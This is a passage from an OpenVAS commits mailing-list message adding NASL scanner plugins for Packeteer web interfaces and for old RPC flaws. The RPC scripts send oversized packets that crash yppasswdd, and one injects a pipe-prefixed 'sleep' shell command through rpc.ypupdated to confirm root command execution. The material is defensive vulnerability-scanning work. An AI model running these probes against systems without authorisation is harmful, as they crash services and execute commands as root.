+if (!get_tcp_port_state(port)) exit(0);
+encaps = get_kb_item("Transports/TCP/"+port);
+
+#resp=http_keepalive_send_recv(port:port,data:http_get(item:"/login.htm",port:port));
+resp=http_send_recv(port:port,data:http_get(item:"/login.htm",port:port));
+if (!resp) exit(0);
+
+server=egrep(pattern:"^Server: *httpd/1\.",string:resp,icase:TRUE);
+cookie=egrep(pattern:"^Set-Cookie:
*[^a-z0-9]PScfgstr=",string:resp,icase:TRUE);
+if (!server || !cookie) exit(0);
+
+product="(unknown)";
+# 8.x product extraction
+match=eregmatch(pattern:': ([a-z]+) +Login</title>',string:resp,icase:TRUE);
+if (isnull(match))
+ # 7.x product extraction
+ match=eregmatch(pattern:'\n([a-zA-Z]+) +/login\\.htm\n',string:resp);
+if (!isnull(match)) product=match[1];
+
+replace_or_set_kb_item(name:"www/packeteer",value:TRUE);
+replace_or_set_kb_item(name:"www/"+port+"/packeteer",value:product);
+if (product=="PacketShaper")
+ replace_or_set_kb_item(name:"Services/www/"+port+"/embedded",value:TRUE);
+
+issue="A Packeteer "+product+" web management interface is running on this
port.";
+if (encaps && (encaps >= ENCAPS_SSLv2 && encaps <= ENCAPS_TLSv1))
+ {
+ report = string(
+ desc["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ issue
+ );
+ security_warning(port:port,data:report);
+ }
+else
+ {
+ report = string(
+ desc_unencrypted["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ issue
+ );
+ security_warning(port:port,data:report);
+ }
Added: trunk/openvas-plugins/scripts/packeteer_web_login.nasl
===================================================================
--- trunk/openvas-plugins/scripts/packeteer_web_login.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/packeteer_web_login.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,113 @@
+# nnposter
+# GPL
+# kst-depend-rpc
+
+
+if(!defined_func("MD5")) exit(0);
+
+
+if (description)
+ {
+ script_id(80032);
+ script_version ("$Revision: 1.1 $");
+
+ name["english"]="Packeteer Web Management Interface Login";
+ script_name(english:name["english"]);
+
+ desc["english"]="
+Synopsis :
+
+It is possible to log onto the remote web application.
+
+Description :
+
+Nessus was able to log onto the remote Packeteer web management
+interface with the given credentials and has stored the authentication
+cookie in the KB for use with other plugins.
+
+Risk factor :
+
+None";
+ script_description(english:desc["english"]);
+
+ summary["english"]="Logs into Packeteer web management interface";
+ script_summary(english:summary["english"]);
+
+ family["english"]="CGI abuses";
+ script_family(english:family["english"]);
+
+ script_category(ACT_GATHER_INFO);
+ script_copyright(english:"This script is Copyright (c) 2006-2007
nnposter");
+ script_dependencies("logins.nasl","packeteer_web_detect.nasl");
+ script_require_keys("www/packeteer","http/password");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+# Notes:
+# - logins.nasl will not process the HTTP password preference if the HTTP
+# username is left blank. To compensate for this behavior this script assumes
+# that a username tha consists of a single non-alphanumeric character is not
+# really meant to be used.
+# - Does not work with http_keepalive_send_recv() for some reason.
+# Resorting to http_send_recv()
+
+
+include("http_func.inc");
+#include("http_keepalive.inc");
+
+
+if (!get_kb_item("www/packeteer")) exit(0);
+if (!get_kb_item("http/password")) exit(0);
+
+
+function hex2str()
+{
+local_var xlat,hs,s,i,j;
+hs=_FCT_ANON_ARGS[0];
+s="";
+for (i=0; i<256; ++i) xlat[substr(hex(i),2)]=raw_string(i);
+for (j=0; j<strlen(hs)/2; ++j) s+=xlat[substr(hs,2*j,2*j+1)];
+return s;
+}
+
+
+port=get_http_port(default:80);
+if (!get_tcp_port_state(port) || !get_kb_item("www/"+port+"/packeteer"))
exit(0);
+
+#resp=http_keepalive_send_recv(port:port,data:http_get(item:"/login.htm",port:port));
+resp=http_send_recv(port:port,data:http_get(item:"/login.htm",port:port));
+if (!resp) exit(0);
+
+match=eregmatch(
+ pattern:'challenge *= *"([0-9A-Fa-f]{32})".{1,80}chapID *= *"([0-9]*)"',
+ string:resp);
+challenge=match[1];
+chapid=match[2];
+if (!challenge || !chapid) exit(0);
+
+authsrc=raw_string(int(chapid))
+ +get_kb_item("http/password")
+ +hex2str(challenge);
+response=hexstr(MD5(authsrc));
+
+username=get_kb_item("http/login");
+if (!strlen(username) || username=~"^[^a-z0-9]$") username="";
+
+url="/Login?"
+ + "LOGIN.CHALLENGE="+challenge
+ +"&LOGIN.CHAPID="+chapid
+ +"&LOGIN.RESPONSE="+response
+ +"&LOGIN.USERNAME="+username;
+
+#resp=http_keepalive_send_recv(port:port,data:http_get(item:url,port:port));
+resp=http_send_recv(port:port,data:http_get(item:url,port:port));
+if (!resp) exit(0);
+
+cookie=egrep(pattern:"^Set-Cookie: *[^a-z0-9]PSpcV310=[0-9a-f]{32}",
+ string:resp,
+ icase:TRUE);
+if (!cookie) exit(0);
+cookie=ereg_replace(string:cookie,pattern:"^Set-",replace:"",icase:TRUE);
+
+set_kb_item(name:"/tmp/http/auth/"+port,value:cookie);
Added: trunk/openvas-plugins/scripts/packeteer_web_version.nasl
===================================================================
--- trunk/openvas-plugins/scripts/packeteer_web_version.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/packeteer_web_version.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,110 @@
+# nnposter
+# GPL
+# kst-depend-rpc
+
+
+ desc["english"]="
+Synopsis :
+
+It is possible to determine the version of the remote web application.
+
+Description :
+
+Nessus was able to determine the software version of the Packeteer web
+management interface running on the remote host.
+
+Risk factor :
+
+None";
+
+
+if (description)
+ {
+ script_id(80033);
+ script_version ("$Revision: 1.1 $");
+
+ name["english"]="Packeteer Web Management Interface Version";
+ script_name(english:name["english"]);
+
+ script_description(english:desc["english"]);
+
+ summary["english"]="Tests for Packeteer web interface version";
+ script_summary(english:summary["english"]);
+
+ family["english"]="CGI abuses";
+ script_family(english:family["english"]);
+
+ script_category(ACT_GATHER_INFO);
+ script_copyright(english:"This script is Copyright (c) 2006-2007
nnposter");
+ script_dependencies("packeteer_web_login.nasl");
+ script_require_keys("www/packeteer");
+ script_require_ports("Services/www",80);
+ exit(0);
+ }
+
+# Notes:
+# - Info page is bigger than 8K and PacketShaper does not use Content-Length.
+# The script uses custom http_send_recv_length() to retrieve the entire page.
+
+
+include("http_func.inc");
+include("misc_func.inc");
+
+
+if (!get_kb_item("www/packeteer")) exit(0);
+
+
+function set_cookie (data,cookie)
+{
+local_var EOL,req;
+EOL='\r\n';
+req=ereg_replace(string:data,pattern:EOL+'Cookie:[^\r\n]+',replace:"");
+req=ereg_replace(string:req,pattern:EOL+EOL,replace:EOL+cookie+EOL);
+return req;
+}
+
+
+function http_send_recv_length (port,data,length)
+{
+local_var sock,resp;
+sock=http_open_socket(port);
+if (!sock) return;
+send(socket:sock,data:data);
+resp=http_recv_length(socket:sock,bodylength:length);
+http_close_socket(sock);
+return resp;
+}
+
+
+function get_version (port,cookie)
+{
+local_var req,resp,match;
+if (!port || !cookie) return;
+if (!get_tcp_port_state(port)) return;
+req=set_cookie(data:http_get(item:"/info.htm",port:port),cookie:cookie);
+resp=http_send_recv_length(port:port,data:req,length:64000);
+if (!resp) return;
+match=eregmatch(
+ pattern:'makeState\\("Software(.nbsp.| )Version:", *"([0-9A-Za-z.]+)',
+ string:resp);
+return match[2];
+}
+
+
+port=get_http_port(default:80);
+product=get_kb_item("www/"+port+"/packeteer");
+if (!get_tcp_port_state(port) || !product) exit(0);
+if (!get_kb_item('/tmp/http/auth/'+port)) exit(0);
+
+version=get_version(port:port,cookie:get_kb_item("/tmp/http/auth/"+port));
+if (!version) exit(0);
+
+replace_or_set_kb_item(name:"www/"+port+"/packeteer/version",value:version);
+report = string(
+ desc["english"],
+ "\n\n",
+ "Plugin output :\n",
+ "\n",
+ "Packeteer "+product+" web interface version is "+version
+);
+security_note(port:port,data:report);
Added: trunk/openvas-plugins/scripts/sgi_rpc_passwd.nasl
===================================================================
--- trunk/openvas-plugins/scripts/sgi_rpc_passwd.nasl 2008-10-24 17:51:47 UTC
(rev 1618)
+++ trunk/openvas-plugins/scripts/sgi_rpc_passwd.nasl 2008-10-24 18:15:31 UTC
(rev 1619)
@@ -0,0 +1,113 @@
+#
+# This script was written by Renaud Deraison <[EMAIL PROTECTED]>
+#
+#
+# This is *NOT* the issue described in CVE-2002-0357, which happens
+# to be a logic error for which details have not been leaked at all.
+#
+#
+#
+# This script is released under the GPLv2
+#
+# kst-depend-rpc
+
+if(description)
+{
+ script_id(80034);
+ script_bugtraq_id(4939);
+ script_cve_id("CVE-2002-0357");
+ script_xref(name:"OSVDB", value:"834");
+
+ script_version ("$Revision: 1.13 $");
+
+
+ name["english"] = "irix rpc.passwd overflow";
+ name["francais"] = "irix rpc.passwd overflow";
+
+ script_name(english:name["english"],
+ francais:name["francais"]);
+
+ desc["english"] = "
+The remote RPC service 100009 (yppasswdd) is vulnerable
+to a buffer overflow which allows any user to obtain a root
+shell on this host.
+
+Solution : disable this service if you don't use
+it, or see SGI advisory #20020601-01-P
+Risk factor : High";
+
+ script_description(english:desc["english"]);
+
+ summary["english"] = "heap overflow through rpc.passwd";
+ script_summary(english:summary["english"]);
+
+ script_category(ACT_DENIAL);
+
+ script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison");
+ family["english"] = "Gain root remotely";
+ family["francais"] = "Passer root � distance";
+ script_family(english:family["english"], francais:family["francais"]);
+ script_dependencies("rpc_portmap.nasl", "yppasswdd.nasl");
+ script_require_keys("rpc/portmap");
+ script_exclude_keys("rpc/yppasswd/sun_overflow");
+ exit(0);
+}
+
+include("misc_func.inc");
+
+n = get_kb_item("rpc/yppasswd/sun_overflow");
+if(n)exit(0);
+
+
+function ping(len)
+{
+ crp = crap(len-4);
+
+ len_hi = len / 256;
+ len_lo = len % 256;
+
+ req = raw_string(0x56, 0x6C, 0x9F, 0x6B,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
+ 0x00, 0x01, 0x86, 0xA9, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, len_hi, len_lo, 0x80, 0x1C, 0x40, 0x11
+ ) + crp + raw_string(0x00, 0x00, 0x00, 0x02,
+ 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
+ 0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x03,
+ 0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x02,
+ 0x61, 0x61, 0x00, 0x00);
+ send(socket:soc, data:req);
+ r = recv(socket:soc, length:28);
+ if(strlen(r) > 1)return(1);
+ else return(0);
+}
+
+port = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
+if(port)
+{
+ if(get_port_state(port))
+ {
+ soc = open_sock_udp(port);
+ if(soc)
+ {
+ #
+ # We forge a bogus RPC request, with a way too long
+ # argument. The remote process will die immediately,
+ # and hopefully painlessly.
+ #
+ p1 = ping(len:80);
+ if(p1)
+ {
+ p2 = ping(len:4000);
+ if(!p2)
+ {
+ p3 = ping(len:80);
+ if(!p3)security_hole(port:port, protocol:"udp");
+ }
+ }
+ }
+ }
+}
Added: trunk/openvas-plugins/scripts/yppasswdd.nasl
===================================================================
--- trunk/openvas-plugins/scripts/yppasswdd.nasl 2008-10-24 17:51:47 UTC
(rev 1618)
+++ trunk/openvas-plugins/scripts/yppasswdd.nasl 2008-10-24 18:15:31 UTC
(rev 1619)
@@ -0,0 +1,116 @@
+#
+# This script was written by Renaud Deraison <[EMAIL PROTECTED]>
+#
+#
+# This script is released under the GPLv2
+#
+# kst-depend-rpc
+
+if(description)
+{
+ script_id(80035);
+ script_bugtraq_id(2763);
+script_cve_id("CVE-2001-0779");
+ script_version ("$Revision: 1.25 $");
+
+
+ name["english"] = "yppasswdd overflow";
+ name["francais"] = "yppasswdd overflow";
+
+ script_name(english:name["english"],
+ francais:name["francais"]);
+
+ desc["english"] = "
+The remote RPC service 100009 (yppasswdd) is vulnerable
+to a buffer overflow which allows any user to obtain a root
+shell on this host.
+
+Solution : disable this service if you don't use
+it, or contact Sun for a patch
+Risk factor : High";
+
+ script_description(english:desc["english"]);
+
+ summary["english"] = "heap overflow through yppasswdd";
+ script_summary(english:summary["english"]);
+
+ script_category(ACT_MIXED_ATTACK);
+
+ script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison");
+ family["english"] = "Gain root remotely";
+ family["francais"] = "Passer root � distance";
+ script_family(english:family["english"], francais:family["francais"]);
+ script_dependencies("rpc_portmap.nasl");
+ script_require_keys("rpc/portmap");
+ exit(0);
+}
+
+include("misc_func.inc");
+include("global_settings.inc");
+
+port = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
+if(port)
+{
+ if(!safe_checks())
+ {
+ if(get_port_state(port))
+ {
+ soc = open_sock_udp(port);
+ if(soc)
+ {
+ #
+ # We forge a bogus RPC request, with a way too long
+ # argument. The remote process will die immediately,
+ # and hopefully painlessly.
+ #
+ crp = crap(796);
+
+ req = raw_string(0x56, 0x6C, 0x9F, 0x6B,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
+ 0x00, 0x01, 0x86, 0xA9, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x03, 0x20, 0x80, 0x1C, 0x40, 0x11
+ ) + crp + raw_string(0x00, 0x00, 0x00, 0x02,
+ 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
+ 0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x03,
+ 0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x02,
+ 0x61, 0x61, 0x00, 0x00);
+ send(socket:soc, data:req);
+ r = recv(socket:soc, length:4096);
+ if(r)
+ {
+ # if length(r) == 28, then the overflow did succeed. However,
+ # I prefer to re-make a call to getrpcport(), that's safer
+ # (who knows what exotic yppasswdd can reply ?)
+ sleep(1);
+ newport = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
+ set_kb_item(name:"rpc/yppasswd/sun_overflow", value:TRUE);
+ if(!newport)
+ security_hole(port:port, protocol:"udp");
+ }
+ close(soc);
+ }
+ }
+ }
+ else
+ {
+ if ( report_paranoia < 2 )exit(0);
+ desc = "
+The remote RPC service 100009 (yppasswdd) may be vulnerable
+to a buffer overflow which would allow any user to obtain a root
+shell on this host.
+
+*** Nessus reports this vulnerability using only
+*** information that was gathered. Use caution
+*** when testing without safe checks enabled.
+
+Solution : disable this service if you don't use
+it, or contact Sun for a patch
+Risk factor : High";
+ set_kb_item(name:"rpc/yppasswd/sun_overflow", value:TRUE);
+ security_hole(port:port, data:desc, protocol:"udp");
+ }
+}
Added: trunk/openvas-plugins/scripts/ypupdated_remote_exec.nasl
===================================================================
--- trunk/openvas-plugins/scripts/ypupdated_remote_exec.nasl 2008-10-24
17:51:47 UTC (rev 1618)
+++ trunk/openvas-plugins/scripts/ypupdated_remote_exec.nasl 2008-10-24
18:15:31 UTC (rev 1619)
@@ -0,0 +1,133 @@
+#
+# (C) Tenable Network Security and Michel Arboi
+# GPL
+#
+# kst-depend-rpc
+
+if(description)
+{
+ script_id(80036);
+ script_bugtraq_id(1749, 28383);
+ script_cve_id("CVE-1999-0208");
+ script_version ("$Revision: 1.4 $");
+ script_name("rpc.ypupdated remote execution");
+
+ desc = "
+Synopsis :
+
+'ypupdated -i' is running on this port.
+
+Description :
+
+ypupdated is part of NIS and allows a client to update NIS maps.
+
+This old command execution vulnerability was discovered in 1995 and
+fixed then. However, it is still possible to run ypupdated in insecure
+mode by adding the '-i' option.
+Anybody can easily run commands as root on this machine by specifying
+an invalid map name that starts with a pipe (|) character. Exploits
+have been publicly available since the first advisory.
+
+Solution :
+
+Remove the '-i' option.
+If this option was not set, the rpc.ypupdated daemon is still vulnerable
+to the old flaw; contact your vendor for a patch.
+
+Risk factor :
+
+High / CVSS Base Score : 9.3
+(CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)";
+
+
+ script_description(english:desc);
+ script_summary(english: "Run shell script through rpc.ypupdated");
+ script_category(ACT_ATTACK);
+
+ script_copyright(english:"This script is Copyright (C) 2008 Tenable Network
Security, Inc. and Michel Arboi");
+ script_family(english: "RPC");
+ script_dependencie("rpc_portmap.nasl", "rpcinfo.nasl");
+ exit(0);
+}
+
+include("sunrpc_func.inc");
+
+g_timeout = 15; # Must be greater than the maximum sleep value
+RPC_PROG = 100028;
+
+
+function test(port, sleeps, udp)
+{
+ local_var soc, mapname, packet, tictac1, tictac2, d, data, credentials, sleep;
+
+ foreach sleep (sleeps)
+ {
+ if(!udp)
+ {
+ soc = open_sock_tcp (port);
+ if (!soc) return 0;
+ }
+ else
+ {
+ soc = open_sock_udp (port);
+ if (!soc) return 0;
+ }
+
+ credentials = xdr_auth_unix(hostname: 'localhost', uid: 0, gid: 0);
+
+ mapname = strcat("|sleep ", sleep, "; true > /dev/null;");
+
+ data =
+ xdr_string(mapname) +
+ xdr_long(2) +
+ xdr_long(0x78000000) +
+ xdr_long(2) +
+ xdr_long(0x78000000) ;
+
+ packet = rpc_packet (prog:RPC_PROG, vers:1, proc:0x01,
credentials:credentials, data:data, udp:udp);
+
+ tictac1 = unixtime();
+
+ data = rpc_sendrecv (socket:soc, packet:packet, udp:udp, timeout:g_timeout);
+ close(soc);
+
+ tictac2 = unixtime();
+ d = tictac2 - tictac1;
+
+ if ( isnull(data) || (d < sleep) || (d >= (sleep + 5)) )
+ return 0;
+ }
+
+ return 1;
+}
+
+
+function check_flaw(ports, udp)
+{
+ local_var port;
+
+ foreach port(ports)
+ {
+ if (test(port: port, sleeps: make_list(1, 3, 7), udp: udp))
+ security_hole(port: port);
+ }
+}
+
+tcp_ports = get_kb_list('Services/RPC/ypupdated');
+if (isnull(tcp_ports))
+{
+ port = get_rpc_port2(program: RPC_PROG, protocol: IPPROTO_TCP);
+ if (port) tcp_ports = make_list(port);
+}
+
+check_flaw(ports:tcp_ports, udp:0);
+
+
+udp_ports = get_kb_list('Services/udp/RPC/ypupdated');
+if (isnull(udp_ports))
+{
+ port = get_rpc_port2(program: RPC_PROG, protocol: IPPROTO_UDP);
+ if (port) udp_ports = make_list(port);
+}
+
+check_flaw(ports:udp_ports, udp:1);
_______________________________________________
Openvas-commits mailing list
[email protected]
http://lists.wald.intevation.org/mailman/listinfo/openvas-commits
